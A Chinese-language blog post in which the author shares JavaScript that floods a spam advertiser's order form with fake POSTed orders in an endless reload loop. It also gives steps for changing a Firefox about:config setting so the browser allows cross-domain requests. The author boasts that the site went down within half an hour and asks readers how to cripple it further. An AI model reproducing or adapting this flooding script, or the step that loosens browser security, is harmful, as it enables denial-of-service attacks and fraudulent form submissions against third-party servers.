反攻廣告信. 並解開Firefox安全的枷鎖
前陣子接收到許多廣告信.心裡真的很不爽. 明明就不想要那些垃圾信卻一直騷擾. 林北只好來個絕地大反攻.
那個廣告信不是賣 CD 就是賣書賣音樂. 在廣告網頁下方有要填寫訂購資訊. 好吧! 你那麼喜歡訂單. 林北給你多點訂單. 我寫了一隻 javascript 用 ajax 方式自動填寫訂單. 就一直放網頁讓他 reload.
程式碼如下 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | <script language="javascript"> var url = "http://www.fuckspam.com.tw/xxx/xxx.php"; function onload() { try { netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead"); } catch (e) { alert("Permission UniversalBrowserRead denied."); } var req = new XMLHttpRequest(); var params = "name=aaa&tel=333&address=bbb&email=fuck@fuckspam.com&memo=ccc"; req.open("POST", url, true); req.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); req.setRequestHeader("Content-length", params.length); req.setRequestHeader("Connection", "close"); req.onreadystatechange = function() {//Call a function when the state changes. if(http.readyState == 4 && http.status == 200) { window.location.reload(); } } req.send(params); } </script> |
在寫這個程式遇到了一個 Firefox 安全問題. Firefox 不允許 javascript 查詢別台伺服器的資訊. Firefox 只允許 ajax 查詢同網域的網頁. 要不然就是要該 javascript 有合法的簽名(Signed Scripts). 我也不可能去搞個簽名給他. 所以我也 google 了好一陣子. 有找到一篇 XMLHttpRequest – Security Bypass 看來可以解決我的問題. 但是還得外掛 Greasemonkey 就覺得很麻煩!! 於是忘了在哪裡看到可以設定 Firefox 的安全設定. 讓他能用XMLHttpRequest執行不同網域的 request. 設定如下 :
在 firefox 網址打入 : about:config
然後在 Filter 欄位收尋 signed.applets.codebase_principal_support, 再把裡面的直改成 true.
然後瀏覽你的程式. 會出現下列警告. 別緊張. 按個允許. 你就可以用遠端資源了.
我用那隻程式反攻廣告網頁. 不到半小時網頁就出現 services unavailable 訊息. 真是爽阿.
隔天我在看他們的網頁. 看來他們已經修正了程式.目前不知道有沒有辦法塞入假訂單給他們. 或是有誰能教一下如何癱瘓他們的網頁??